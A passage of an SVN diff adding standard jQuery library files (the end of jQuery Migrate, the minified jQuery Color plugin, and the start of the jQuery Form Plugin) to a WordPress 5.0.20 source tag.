+				}
+			}
+		}
+
+		return ret;
+	};
+}
+
+var eventAdd = jQuery.event.add,
+	eventRemove = jQuery.event.remove,
+	eventTrigger = jQuery.event.trigger,
+	oldToggle = jQuery.fn.toggle,
+	oldLive = jQuery.fn.live,
+	oldDie = jQuery.fn.die,
+	oldLoad = jQuery.fn.load,
+	ajaxEvents = "ajaxStart|ajaxStop|ajaxSend|ajaxComplete|ajaxError|ajaxSuccess",
+	rajaxEvent = new RegExp( "\\b(?:" + ajaxEvents + ")\\b" ),
+	rhoverHack = /(?:^|\s)hover(\.\S+|)\b/,
+	hoverHack = function( events ) {
+		if ( typeof( events ) !== "string" || jQuery.event.special.hover ) {
+			return events;
+		}
+		if ( rhoverHack.test( events ) ) {
+			migrateWarn("'hover' pseudo-event is deprecated, use 'mouseenter mouseleave'");
+		}
+		return events && events.replace( rhoverHack, "mouseenter$1 mouseleave$1" );
+	};
+
+// Event props removed in 1.9, put them back if needed; no practical way to warn them
+if ( jQuery.event.props && jQuery.event.props[ 0 ] !== "attrChange" ) {
+	jQuery.event.props.unshift( "attrChange", "attrName", "relatedNode", "srcElement" );
+}
+
+// Undocumented jQuery.event.handle was "deprecated" in jQuery 1.7
+if ( jQuery.event.dispatch ) {
+	migrateWarnProp( jQuery.event, "handle", jQuery.event.dispatch, "jQuery.event.handle is undocumented and deprecated" );
+}
+
+// Support for 'hover' pseudo-event and ajax event warnings
+jQuery.event.add = function( elem, types, handler, data, selector ){
+	if ( elem !== document && rajaxEvent.test( types ) ) {
+		migrateWarn( "AJAX events should be attached to document: " + types );
+	}
+	eventAdd.call( this, elem, hoverHack( types || "" ), handler, data, selector );
+};
+jQuery.event.remove = function( elem, types, handler, selector, mappedTypes ){
+	eventRemove.call( this, elem, hoverHack( types ) || "", handler, selector, mappedTypes );
+};
+
+jQuery.each( [ "load", "unload", "error" ], function( _, name ) {
+
+	jQuery.fn[ name ] = function() {
+		var args = Array.prototype.slice.call( arguments, 0 );
+
+		// If this is an ajax load() the first arg should be the string URL;
+		// technically this could also be the "Anything" arg of the event .load()
+		// which just goes to show why this dumb signature has been deprecated!
+		// jQuery custom builds that exclude the Ajax module justifiably die here.
+		if ( name === "load" && typeof args[ 0 ] === "string" ) {
+			return oldLoad.apply( this, args );
+		}
+
+		migrateWarn( "jQuery.fn." + name + "() is deprecated" );
+
+		args.splice( 0, 0, name );
+		if ( arguments.length ) {
+			return this.bind.apply( this, args );
+		}
+
+		// Use .triggerHandler here because:
+		// - load and unload events don't need to bubble, only applied to window or image
+		// - error event should not bubble to window, although it does pre-1.7
+		// See http://bugs.jquery.com/ticket/11820
+		this.triggerHandler.apply( this, args );
+		return this;
+	};
+
+});
+
+jQuery.fn.toggle = function( fn, fn2 ) {
+
+	// Don't mess with animation or css toggles
+	if ( !jQuery.isFunction( fn ) || !jQuery.isFunction( fn2 ) ) {
+		return oldToggle.apply( this, arguments );
+	}
+	migrateWarn("jQuery.fn.toggle(handler, handler...) is deprecated");
+
+	// Save reference to arguments for access in closure
+	var args = arguments,
+		guid = fn.guid || jQuery.guid++,
+		i = 0,
+		toggler = function( event ) {
+			// Figure out which function to execute
+			var lastToggle = ( jQuery._data( this, "lastToggle" + fn.guid ) || 0 ) % i;
+			jQuery._data( this, "lastToggle" + fn.guid, lastToggle + 1 );
+
+			// Make sure that clicks stop
+			event.preventDefault();
+
+			// and execute the function
+			return args[ lastToggle ].apply( this, arguments ) || false;
+		};
+
+	// link all the functions, so any of them can unbind this click handler
+	toggler.guid = guid;
+	while ( i < args.length ) {
+		args[ i++ ].guid = guid;
+	}
+
+	return this.click( toggler );
+};
+
+jQuery.fn.live = function( types, data, fn ) {
+	migrateWarn("jQuery.fn.live() is deprecated");
+	if ( oldLive ) {
+		return oldLive.apply( this, arguments );
+	}
+	jQuery( this.context ).on( types, this.selector, data, fn );
+	return this;
+};
+
+jQuery.fn.die = function( types, fn ) {
+	migrateWarn("jQuery.fn.die() is deprecated");
+	if ( oldDie ) {
+		return oldDie.apply( this, arguments );
+	}
+	jQuery( this.context ).off( types, this.selector || "**", fn );
+	return this;
+};
+
+// Turn global events into document-triggered events
+jQuery.event.trigger = function( event, data, elem, onlyHandlers  ){
+	if ( !elem && !rajaxEvent.test( event ) ) {
+		migrateWarn( "Global events are undocumented and deprecated" );
+	}
+	return eventTrigger.call( this,  event, data, elem || document, onlyHandlers  );
+};
+jQuery.each( ajaxEvents.split("|"),
+	function( _, name ) {
+		jQuery.event.special[ name ] = {
+			setup: function() {
+				var elem = this;
+
+				// The document needs no shimming; must be !== for oldIE
+				if ( elem !== document ) {
+					jQuery.event.add( document, name + "." + jQuery.guid, function() {
+						jQuery.event.trigger( name, Array.prototype.slice.call( arguments, 1 ), elem, true );
+					});
+					jQuery._data( this, name, jQuery.guid++ );
+				}
+				return false;
+			},
+			teardown: function() {
+				if ( this !== document ) {
+					jQuery.event.remove( document, name + "." + jQuery._data( this, name ) );
+				}
+				return false;
+			}
+		};
+	}
+);
+
+jQuery.event.special.ready = {
+	setup: function() {
+		if ( this === document ) {
+			migrateWarn( "'ready' event is deprecated" );
+		}
+	}
+};
+
+var oldSelf = jQuery.fn.andSelf || jQuery.fn.addBack,
+	oldFnFind = jQuery.fn.find;
+
+jQuery.fn.andSelf = function() {
+	migrateWarn("jQuery.fn.andSelf() replaced by jQuery.fn.addBack()");
+	return oldSelf.apply( this, arguments );
+};
+
+jQuery.fn.find = function( selector ) {
+	var ret = oldFnFind.apply( this, arguments );
+	ret.context = this.context;
+	ret.selector = this.selector ? this.selector + " " + selector : selector;
+	return ret;
+};
+
+
+// jQuery 1.6 did not support Callbacks, do not warn there
+if ( jQuery.Callbacks ) {
+
+	var oldDeferred = jQuery.Deferred,
+		tuples = [
+			// action, add listener, callbacks, .then handlers, final state
+			[ "resolve", "done", jQuery.Callbacks("once memory"),
+				jQuery.Callbacks("once memory"), "resolved" ],
+			[ "reject", "fail", jQuery.Callbacks("once memory"),
+				jQuery.Callbacks("once memory"), "rejected" ],
+			[ "notify", "progress", jQuery.Callbacks("memory"),
+				jQuery.Callbacks("memory") ]
+		];
+
+	jQuery.Deferred = function( func ) {
+		var deferred = oldDeferred(),
+			promise = deferred.promise();
+
+		deferred.pipe = promise.pipe = function( /* fnDone, fnFail, fnProgress */ ) {
+			var fns = arguments;
+
+			migrateWarn( "deferred.pipe() is deprecated" );
+
+			return jQuery.Deferred(function( newDefer ) {
+				jQuery.each( tuples, function( i, tuple ) {
+					var fn = jQuery.isFunction( fns[ i ] ) && fns[ i ];
+					// deferred.done(function() { bind to newDefer or newDefer.resolve })
+					// deferred.fail(function() { bind to newDefer or newDefer.reject })
+					// deferred.progress(function() { bind to newDefer or newDefer.notify })
+					deferred[ tuple[1] ](function() {
+						var returned = fn && fn.apply( this, arguments );
+						if ( returned && jQuery.isFunction( returned.promise ) ) {
+							returned.promise()
+								.done( newDefer.resolve )
+								.fail( newDefer.reject )
+								.progress( newDefer.notify );
+						} else {
+							newDefer[ tuple[ 0 ] + "With" ](
+								this === promise ? newDefer.promise() : this,
+								fn ? [ returned ] : arguments
+							);
+						}
+					});
+				});
+				fns = null;
+			}).promise();
+
+		};
+
+		deferred.isResolved = function() {
+			migrateWarn( "deferred.isResolved is deprecated" );
+			return deferred.state() === "resolved";
+		};
+
+		deferred.isRejected = function() {
+			migrateWarn( "deferred.isRejected is deprecated" );
+			return deferred.state() === "rejected";
+		};
+
+		if ( func ) {
+			func.call( deferred, deferred );
+		}
+
+		return deferred;
+	};
+
+}
+
+})( jQuery, window );
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery-migrate.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery-migrate.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery-migrate.min.js	(revision 56912)
@@ -0,0 +1,2 @@
+/*! jQuery Migrate v1.4.1 | (c) jQuery Foundation and other contributors | jquery.org/license */
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Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.color.min.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.color.min.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.color.min.js	(revision 56912)
@@ -0,0 +1,2 @@
+/*! jQuery Color v@2.1.1 with SVG Color Names http://github.com/jquery/jquery-color | jquery.org/license */
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g==="undefined"?j:(g==="function"&&(f=f.call(this,j),g=a.type(f)),f==null&&e.empty?this:(g==="string"&&(k=d.exec(f),k&&(f=j+parseFloat(k[2])*(k[1]==="+"?1:-1))),i[e.idx]=f,this[h](i)))}})}),f.hook=function(b){var c=b.split(" ");l(c,function(b,c){a.cssHooks[c]={set:function(b,d){var e,g,h="";if(a.type(d)!=="string"||(e=n(d))){d=f(e||d);if(!i.rgba&&d._rgba[3]!==1){g=c==="backgroundColor"?b.parentNode:b;while((h===""||h==="transparent")&&g&&g.style)try{h=a.css(g,"backgroundColor"),g=g.parentNode}catch(j){}d=d.blend(h&&h!=="transparent"?h:"_default")}d=d.toRgbaString()}try{b.style[c]=d}catch(j){}}},a.fx.step[c]=function(b){b.colorInit||(b.start=f(b.elem,c),b.end=f(b.end),b.colorInit=!0),a.cssHooks[c].set(b.elem,b.start.transition(b.end,b.pos))}})},f.hook(c),a.cssHooks.borderColor={expand:function(a){var b={};return l(["Top","Right","Bottom","Left"],function(c,d){b["border"+d+"Color"]=a}),b}},k=a.Color.names={aqua:"#00ffff",black:"#000000",blue:"#0000ff",fuchsia:"#ff00ff",gray:"#808080",green:"#008000",lime:"#00ff00",maroon:"#800000",navy:"#000080",olive:"#808000",purple:"#800080",red:"#ff0000",silver:"#c0c0c0",teal:"#008080",white:"#ffffff",yellow:"#ffff00",transparent:[null,null,null,0],_default:"#ffffff"}})(jQuery),jQuery.extend(jQuery.Color.names,{aliceblue:"#f0f8ff",antiquewhite:"#faebd7",aquamarine:"#7fffd4",azure:"#f0ffff",beige:"#f5f5dc",bisque:"#ffe4c4",blanchedalmond:"#ffebcd",blueviolet:"#8a2be2",brown:"#a52a2a",burlywood:"#deb887",cadetblue:"#5f9ea0",chartreuse:"#7fff00",chocolate:"#d2691e",coral:"#ff7f50",cornflowerblue:"#6495ed",cornsilk:"#fff8dc",crimson:"#dc143c",cyan:"#00ffff",darkblue:"#00008b",darkcyan:"#008b8b",darkgoldenrod:"#b8860b",darkgray:"#a9a9a9",darkgreen:"#006400",darkgrey:"#a9a9a9",darkkhaki:"#bdb76b",darkmagenta:"#8b008b",darkolivegreen:"#556b2f",darkorange:"#ff8c00",darkorchid:"#9932cc",darkred:"#8b0000",darksalmon:"#e9967a",darkseagreen:"#8fbc8f",darkslateblue:"#483d8b",darkslategray:"#2f4f4f",darkslategrey:"#2f4f4f",darkturquoise:"#00ced1",darkviolet:"#9400d3",deeppink:"#ff1493",deepskyblue:"#00bfff",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1e90ff",firebrick:"#b22222",floralwhite:"#fffaf0",forestgreen:"#228b22",gainsboro:"#dcdcdc",ghostwhite:"#f8f8ff",gold:"#ffd700",goldenrod:"#daa520",greenyellow:"#adff2f",grey:"#808080",honeydew:"#f0fff0",hotpink:"#ff69b4",indianred:"#cd5c5c",indigo:"#4b0082",ivory:"#fffff0",khaki:"#f0e68c",lavender:"#e6e6fa",lavenderblush:"#fff0f5",lawngreen:"#7cfc00",lemonchiffon:"#fffacd",lightblue:"#add8e6",lightcoral:"#f08080",lightcyan:"#e0ffff",lightgoldenrodyellow:"#fafad2",lightgray:"#d3d3d3",lightgreen:"#90ee90",lightgrey:"#d3d3d3",lightpink:"#ffb6c1",lightsalmon:"#ffa07a",lightseagreen:"#20b2aa",lightskyblue:"#87cefa",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#b0c4de",lightyellow:"#ffffe0",limegreen:"#32cd32",linen:"#faf0e6",mediumaquamarine:"#66cdaa",mediumblue:"#0000cd",mediumorchid:"#ba55d3",mediumpurple:"#9370db",mediumseagreen:"#3cb371",mediumslateblue:"#7b68ee",mediumspringgreen:"#00fa9a",mediumturquoise:"#48d1cc",mediumvioletred:"#c71585",midnightblue:"#191970",mintcream:"#f5fffa",mistyrose:"#ffe4e1",moccasin:"#ffe4b5",navajowhite:"#ffdead",oldlace:"#fdf5e6",olivedrab:"#6b8e23",orange:"#ffa500",orangered:"#ff4500",orchid:"#da70d6",palegoldenrod:"#eee8aa",palegreen:"#98fb98",paleturquoise:"#afeeee",palevioletred:"#db7093",papayawhip:"#ffefd5",peachpuff:"#ffdab9",peru:"#cd853f",pink:"#ffc0cb",plum:"#dda0dd",powderblue:"#b0e0e6",rosybrown:"#bc8f8f",royalblue:"#4169e1",saddlebrown:"#8b4513",salmon:"#fa8072",sandybrown:"#f4a460",seagreen:"#2e8b57",seashell:"#fff5ee",sienna:"#a0522d",skyblue:"#87ceeb",slateblue:"#6a5acd",slategray:"#708090",slategrey:"#708090",snow:"#fffafa",springgreen:"#00ff7f",steelblue:"#4682b4",tan:"#d2b48c",thistle:"#d8bfd8",tomato:"#ff6347",turquoise:"#40e0d0",violet:"#ee82ee",wheat:"#f5deb3",whitesmoke:"#f5f5f5",yellowgreen:"#9acd32"});
Index: /tags/5.0.20/src/wp-includes/js/jquery/jquery.form.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/jquery/jquery.form.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/jquery/jquery.form.js	(revision 56912)
@@ -0,0 +1,1520 @@
+/*!
+ * jQuery Form Plugin
+ * version: 4.2.1
+ * Requires jQuery v1.7 or later
+ * Copyright 2017 Kevin Morris
+ * Copyright 2006 M. Alsup
+ * Project repository: https://github.com/jquery-form/form
+ * Dual licensed under the MIT and LGPLv3 licenses.
+ * https://github.com/jquery-form/form#license
+ */
+/* global ActiveXObject */
+
+/* eslint-disable */
+(function (factory) {
+	if (typeof define === 'function' && define.amd) {
+		// AMD. Register as an anonymous module.
+		define(['jquery'], factory);
+	} else if (typeof module === 'object' && module.exports) {
+		// Node/CommonJS
+		module.exports = function( root, jQuery ) {
+			if (typeof jQuery === 'undefined') {
+				// require('jQuery') returns a factory that requires window to build a jQuery instance, we normalize how we use modules
+				// that require this pattern but the window provided is a noop if it's defined (how jquery works)
+				if (typeof window !== 'undefined') {
+					jQuery = require('jquery');
+				}
+				else {
+					jQuery = require('jquery')(root);
+				}
+			}
+			factory(jQuery);
+			return jQuery;
+		};
+	} else {
+		// Browser globals
+		factory(jQuery);
+	}
+
+}(function ($) {
+/* eslint-enable */
+	'use strict';
+
+	/*
+		Usage Note:
+		-----------
+		Do not use both ajaxSubmit and ajaxForm on the same form. These
+		functions are mutually exclusive. Use ajaxSubmit if you want
+		to bind your own submit handler to the form. For example,
+
+		$(document).ready(function() {
+			$('#myForm').on('submit', function(e) {
+				e.preventDefault(); // <-- important
+				$(this).ajaxSubmit({
+					target: '#output'
+				});
+			});
+		});
+
+		Use ajaxForm when you want the plugin to manage all the event binding
+		for you. For example,
+
+		$(document).ready(function() {
+			$('#myForm').ajaxForm({
+				target: '#output'
+			});
+		});
+
+		You can also use ajaxForm with delegation (requires jQuery v1.7+), so the
+		form does not have to exist when you invoke ajaxForm:
+
+		$('#myForm').ajaxForm({
+			delegation: true,
+			target: '#output'
+		});
+
+		When using ajaxForm, the ajaxSubmit function will be invoked for you
+		at the appropriate time.
+	*/
+
+	var rCRLF = /\r?\n/g;
+
+	/**
+	 * Feature detection
+	 */
+	var feature = {};
+
+	feature.fileapi = $('<input type="file">').get(0).files !== undefined;
+	feature.formdata = (typeof window.FormData !== 'undefined');
+
+	var hasProp = !!$.fn.prop;
+
+	// attr2 uses prop when it can but checks the return type for
+	// an expected string. This accounts for the case where a form
+	// contains inputs with names like "action" or "method"; in those
+	// cases "prop" returns the element
+	$.fn.attr2 = function() {
+		if (!hasProp) {
+			return this.attr.apply(this, arguments);
+		}
+
+		var val = this.prop.apply(this, arguments);
+
+		if ((val && val.jquery) || typeof val === 'string') {
+			return val;
+		}
+
+		return this.attr.apply(this, arguments);
+	};
+
+	/**
+	 * ajaxSubmit() provides a mechanism for immediately submitting
+	 * an HTML form using AJAX.
+	 *
+	 * @param	{object|string}	options		jquery.form.js parameters or custom url for submission
+	 * @param	{object}		data		extraData
+	 * @param	{string}		dataType	ajax dataType
+	 * @param	{function}		onSuccess	ajax success callback function
+	 */
+	$.fn.ajaxSubmit = function(options, data, dataType, onSuccess) {
+		// fast fail if nothing selected (http://dev.jquery.com/ticket/2752)
+		if (!this.length) {
+			log('ajaxSubmit: skipping submit process - no element selected');
+
+			return this;
+		}
+
+		/* eslint consistent-this: ["error", "$form"] */
+		var method, action, url, $form = this;
+
+		if (typeof options === 'function') {
+			options = {success: options};
+
+		} else if (typeof options === 'string' || (options === false && arguments.length > 0)) {
+			options = {
+				'url'      : options,
+				'data'     : data,
+				'dataType' : dataType
+			};
+
+			if (typeof onSuccess === 'function') {
+				options.success = onSuccess;
+			}
+
+		} else if (typeof options === 'undefined') {
+			options = {};
+		}
+
+		method = options.method || options.type || this.attr2('method');
+		action = options.url || this.attr2('action');
+
+		url = (typeof action === 'string') ? $.trim(action) : '';
+		url = url || window.location.href || '';
+		if (url) {
+			// clean url (don't include hash vaue)
+			url = (url.match(/^([^#]+)/) || [])[1];
+		}
+
+		options = $.extend(true, {
+			url       : url,
+			success   : $.ajaxSettings.success,
+			type      : method || $.ajaxSettings.type,
+			iframeSrc : /^https/i.test(window.location.href || '') ? 'javascript:false' : 'about:blank'		// eslint-disable-line no-script-url
+		}, options);
+
+		// hook for manipulating the form data before it is extracted;
+		// convenient for use with rich editors like tinyMCE or FCKEditor
+		var veto = {};
+
+		this.trigger('form-pre-serialize', [this, options, veto]);
+
+		if (veto.veto) {
+			log('ajaxSubmit: submit vetoed via form-pre-serialize trigger');
+
+			return this;
+		}
+
+		// provide opportunity to alter form data before it is serialized
+		if (options.beforeSerialize && options.beforeSerialize(this, options) === false) {
+			log('ajaxSubmit: submit aborted via beforeSerialize callback');
+
+			return this;
+		}
+
+		var traditional = options.traditional;
+
+		if (typeof traditional === 'undefined') {
+			traditional = $.ajaxSettings.traditional;
+		}
+
+		var elements = [];
+		var qx, a = this.formToArray(options.semantic, elements, options.filtering);
+
+		if (options.data) {
+			var optionsData = $.isFunction(options.data) ? options.data(a) : options.data;
+
+			options.extraData = optionsData;
+			qx = $.param(optionsData, traditional);
+		}
+
+		// give pre-submit callback an opportunity to abort the submit
+		if (options.beforeSubmit && options.beforeSubmit(a, this, options) === false) {
+			log('ajaxSubmit: submit aborted via beforeSubmit callback');
+
+			return this;
+		}
+
+		// fire vetoable 'validate' event
+		this.trigger('form-submit-validate', [a, this, options, veto]);
+		if (veto.veto) {
+			log('ajaxSubmit: submit vetoed via form-submit-validate trigger');
+
+			return this;
+		}
+
+		var q = $.param(a, traditional);
+
+		if (qx) {
+			q = (q ? (q + '&' + qx) : qx);
+		}
+
+		if (options.type.toUpperCase() === 'GET') {
+			options.url += (options.url.indexOf('?') >= 0 ? '&' : '?') + q;
+			options.data = null;	// data is null for 'get'
+		} else {
+			options.data = q;		// data is the query string for 'post'
+		}
+
+		var callbacks = [];
+
+		if (options.resetForm) {
+			callbacks.push(function() {
+				$form.resetForm();
+			});
+		}
+
+		if (options.clearForm) {
+			callbacks.push(function() {
+				$form.clearForm(options.includeHidden);
+			});
+		}
+
+		// perform a load on the target only if dataType is not provided
+		if (!options.dataType && options.target) {
+			var oldSuccess = options.success || function(){};
+
+			callbacks.push(function(data, textStatus, jqXHR) {
+				var successArguments = arguments,
+					fn = options.replaceTarget ? 'replaceWith' : 'html';
+
+				$(options.target)[fn](data).each(function(){
+					oldSuccess.apply(this, successArguments);
+				});
+			});
+
+		} else if (options.success) {
+			if ($.isArray(options.success)) {
+				$.merge(callbacks, options.success);
+			} else {
+				callbacks.push(options.success);
+			}
+		}
+
+		options.success = function(data, status, xhr) { // jQuery 1.4+ passes xhr as 3rd arg
+			var context = options.context || this;		// jQuery 1.4+ supports scope context
+
+			for (var i = 0, max = callbacks.length; i < max; i++) {
+				callbacks[i].apply(context, [data, status, xhr || $form, $form]);
+			}
+		};
+
+		if (options.error) {
+			var oldError = options.error;
+
+			options.error = function(xhr, status, error) {
+				var context = options.context || this;
+
+				oldError.apply(context, [xhr, status, error, $form]);
+			};
+		}
+
+		if (options.complete) {
+			var oldComplete = options.complete;
+
+			options.complete = function(xhr, status) {
+				var context = options.context || this;
+
+				oldComplete.apply(context, [xhr, status, $form]);
+			};
+		}
+
+		// are there files to upload?
+
+		// [value] (issue #113), also see comment:
+		// https://github.com/malsup/form/commit/588306aedba1de01388032d5f42a60159eea9228#commitcomment-2180219
+		var fileInputs = $('input[type=file]:enabled', this).filter(function() {
+			return $(this).val() !== '';
+		});
+		var hasFileInputs = fileInputs.length > 0;
+		var mp = 'multipart/form-data';
+		var multipart = ($form.attr('enctype') === mp || $form.attr('encoding') === mp);
+		var fileAPI = feature.fileapi && feature.formdata;
+
+		log('fileAPI :' + fileAPI);
+
+		var shouldUseFrame = (hasFileInputs || multipart) && !fileAPI;
+		var jqxhr;
+
+		// options.iframe allows user to force iframe mode
+		// 06-NOV-09: now defaulting to iframe mode if file input is detected
+		if (options.iframe !== false && (options.iframe || shouldUseFrame)) {
+			// hack to fix Safari hang (thanks to Tim Molendijk for this)
+			// see: http://groups.google.com/group/jquery-dev/browse_thread/thread/36395b7ab510dd5d
+			if (options.closeKeepAlive) {
+				$.get(options.closeKeepAlive, function() {
+					jqxhr = fileUploadIframe(a);
+				});
+
+			} else {
+				jqxhr = fileUploadIframe(a);
+			}
+
+		} else if ((hasFileInputs || multipart) && fileAPI) {
+			jqxhr = fileUploadXhr(a);
+
+		} else {
+			jqxhr = $.ajax(options);
+		}
+
+		$form.removeData('jqxhr').data('jqxhr', jqxhr);
+
+		// clear element array
+		for (var k = 0; k < elements.length; k++) {
+			elements[k] = null;
+		}
+
+		// fire 'notify' event
+		this.trigger('form-submit-notify', [this, options]);
+
+		return this;
+
+		// utility fn for deep serialization
+		function deepSerialize(extraData) {
+			var serialized = $.param(extraData, options.traditional).split('&');
+			var len = serialized.length;
+			var result = [];
+			var i, part;
+
+			for (i = 0; i < len; i++) {
+				// #252; undo param space replacement
+				serialized[i] = serialized[i].replace(/\+/g, ' ');
+				part = serialized[i].split('=');
+				// #278; use array instead of object storage, favoring array serializations
+				result.push([decodeURIComponent(part[0]), decodeURIComponent(part[1])]);
+			}
+
+			return result;
+		}
+
+		// XMLHttpRequest Level 2 file uploads (big hat tip to francois2metz)
+		function fileUploadXhr(a) {
+			var formdata = new FormData();
+
+			for (var i = 0; i < a.length; i++) {
+				formdata.append(a[i].name, a[i].value);
+			}
+
+			if (options.extraData) {
+				var serializedData = deepSerialize(options.extraData);
+
+				for (i = 0; i < serializedData.length; i++) {
+					if (serializedData[i]) {
+						formdata.append(serializedData[i][0], serializedData[i][1]);
+					}
+				}
+			}
+
+			options.data = null;
+
+			var s = $.extend(true, {}, $.ajaxSettings, options, {
+				contentType : false,
+				processData : false,
+				cache       : false,
+				type        : method || 'POST'
+			});
+
+			if (options.uploadProgress) {
+				// workaround because jqXHR does not expose upload property
+				s.xhr = function() {
+					var xhr = $.ajaxSettings.xhr();
+
+					if (xhr.upload) {
+						xhr.upload.addEventListener('progress', function(event) {
+							var percent = 0;
+							var position = event.loaded || event.position;			/* event.position is deprecated */
+							var total = event.total;
+
+							if (event.lengthComputable) {
+								percent = Math.ceil(position / total * 100);
+							}
+
+							options.uploadProgress(event, position, total, percent);
+						}, false);
+					}
+
+					return xhr;
+				};
+			}
+
+			s.data = null;
+
+			var beforeSend = s.beforeSend;
+
+			s.beforeSend = function(xhr, o) {
+				// Send FormData() provided by user
+				if (options.formData) {
+					o.data = options.formData;
+				} else {
+					o.data = formdata;
+				}
+
+				if (beforeSend) {
+					beforeSend.call(this, xhr, o);
+				}
+			};
+
+			return $.ajax(s);
+		}
+
+		// private function for handling file uploads (hat tip to YAHOO!)
+		function fileUploadIframe(a) {
+			var form = $form[0], el, i, s, g, id, $io, io, xhr, sub, n, timedOut, timeoutHandle;
+			var deferred = $.Deferred();
+
+			// #341
+			deferred.abort = function(status) {
+				xhr.abort(status);
+			};
+
+			if (a) {
+				// ensure that every serialized input is still enabled
+				for (i = 0; i < elements.length; i++) {
+					el = $(elements[i]);
+					if (hasProp) {
+						el.prop('disabled', false);
+					} else {
+						el.removeAttr('disabled');
+					}
+				}
+			}
+
+			s = $.extend(true, {}, $.ajaxSettings, options);
+			s.context = s.context || s;
+			id = 'jqFormIO' + new Date().getTime();
+			var ownerDocument = form.ownerDocument;
+			var $body = $form.closest('body');
+
+			if (s.iframeTarget) {
+				$io = $(s.iframeTarget, ownerDocument);
+				n = $io.attr2('name');
+				if (!n) {
+					$io.attr2('name', id);
+				} else {
+					id = n;
+				}
+
+			} else {
+				$io = $('<iframe name="' + id + '" src="' + s.iframeSrc + '" />', ownerDocument);
+				$io.css({position: 'absolute', top: '-1000px', left: '-1000px'});
+			}
+			io = $io[0];
+
+
+			xhr = { // mock object
+				aborted               : 0,
+				responseText          : null,
+				responseXML           : null,
+				status                : 0,
+				statusText            : 'n/a',
+				getAllResponseHeaders : function() {},
+				getResponseHeader     : function() {},
+				setRequestHeader      : function() {},
+				abort                 : function(status) {
+					var e = (status === 'timeout' ? 'timeout' : 'aborted');
+
+					log('aborting upload... ' + e);
+					this.aborted = 1;
+
+					try { // #214, #257
+						if (io.contentWindow.document.execCommand) {
+							io.contentWindow.document.execCommand('Stop');
+						}
+					} catch (ignore) {}
+
+					$io.attr('src', s.iframeSrc); // abort op in progress
+					xhr.error = e;
+					if (s.error) {
+						s.error.call(s.context, xhr, e, status);
+					}
+
+					if (g) {
+						$.event.trigger('ajaxError', [xhr, s, e]);
+					}
+
+					if (s.complete) {
+						s.complete.call(s.context, xhr, e);
+					}
+				}
+			};
+
+			g = s.global;
+			// trigger ajax global events so that activity/block indicators work like normal
+			if (g && $.active++ === 0) {
+				$.event.trigger('ajaxStart');
+			}
+			if (g) {
+				$.event.trigger('ajaxSend', [xhr, s]);
+			}
+
+			if (s.beforeSend && s.beforeSend.call(s.context, xhr, s) === false) {
+				if (s.global) {
+					$.active--;
+				}
+				deferred.reject();
+
+				return deferred;
+			}
+
+			if (xhr.aborted) {
+				deferred.reject();
+
+				return deferred;
+			}
+
+			// add submitting element to data if we know it
+			sub = form.clk;
+			if (sub) {
+				n = sub.name;
+				if (n && !sub.disabled) {
+					s.extraData = s.extraData || {};
+					s.extraData[n] = sub.value;
+					if (sub.type === 'image') {
+						s.extraData[n + '.x'] = form.clk_x;
+						s.extraData[n + '.y'] = form.clk_y;
+					}
+				}
+			}
+
+			var CLIENT_TIMEOUT_ABORT = 1;
+			var SERVER_ABORT = 2;
+
+			function getDoc(frame) {
+				/* it looks like contentWindow or contentDocument do not
+				 * carry the protocol property in ie8, when running under ssl
+				 * frame.document is the only valid response document, since
+				 * the protocol is know but not on the other two objects. strange?
+				 * "Same origin policy" http://en.wikipedia.org/wiki/Same_origin_policy
+				 */
+
+				var doc = null;
+
+				// IE8 cascading access check
+				try {
+					if (frame.contentWindow) {
+						doc = frame.contentWindow.document;
+					}
+				} catch (err) {
+					// IE8 access denied under ssl & missing protocol
+					log('cannot get iframe.contentWindow document: ' + err);
+				}
+
+				if (doc) { // successful getting content
+					return doc;
+				}
+
+				try { // simply checking may throw in ie8 under ssl or mismatched protocol
+					doc = frame.contentDocument ? frame.contentDocument : frame.document;
+				} catch (err) {
+					// last attempt
+					log('cannot get iframe.contentDocument: ' + err);
+					doc = frame.document;
+				}
+
+				return doc;
+			}
+
+			// Rails CSRF hack (thanks to Yvan Barthelemy)
+			var csrf_token = $('meta[name=csrf-token]').attr('content');
+			var csrf_param = $('meta[name=csrf-param]').attr('content');
+
+			if (csrf_param && csrf_token) {
+				s.extraData = s.extraData || {};
+				s.extraData[csrf_param] = csrf_token;
+			}
+
+			// take a breath so that pending repaints get some cpu time before the upload starts
+			function doSubmit() {
+				// make sure form attrs are set
+				var t = $form.attr2('target'),
+					a = $form.attr2('action'),
+					mp = 'multipart/form-data',
+					et = $form.attr('enctype') || $form.attr('encoding') || mp;
+
+				// update form attrs in IE friendly way
+				form.setAttribute('target', id);
+				if (!method || /post/i.test(method)) {
+					form.setAttribute('method', 'POST');
+				}
+				if (a !== s.url) {
+					form.setAttribute('action', s.url);
+				}
+
+				// ie borks in some cases when setting encoding
+				if (!s.skipEncodingOverride && (!method || /post/i.test(method))) {
+					$form.attr({
+						encoding : 'multipart/form-data',
+						enctype  : 'multipart/form-data'
+					});
+				}
+
+				// support timout
+				if (s.timeout) {
+					timeoutHandle = setTimeout(function() {
+						timedOut = true; cb(CLIENT_TIMEOUT_ABORT);
+					}, s.timeout);
+				}
+
+				// look for server aborts
+				function checkState() {
+					try {
+						var state = getDoc(io).readyState;
+
+						log('state = ' + state);
+						if (state && state.toLowerCase() === 'uninitialized') {
+							setTimeout(checkState, 50);
+						}
+
+					} catch (e) {
+						log('Server abort: ', e, ' (', e.name, ')');
+						cb(SERVER_ABORT);				// eslint-disable-line callback-return
+						if (timeoutHandle) {
+							clearTimeout(timeoutHandle);
+						}
+						timeoutHandle = undefined;
+					}
+				}
+
+				// add "extra" data to form if provided in options
+				var extraInputs = [];
+
+				try {
+					if (s.extraData) {
+						for (var n in s.extraData) {
+							if (s.extraData.hasOwnProperty(n)) {
+								// if using the $.param format that allows for multiple values with the same name
+								if ($.isPlainObject(s.extraData[n]) && s.extraData[n].hasOwnProperty('name') && s.extraData[n].hasOwnProperty('value')) {
+									extraInputs.push(
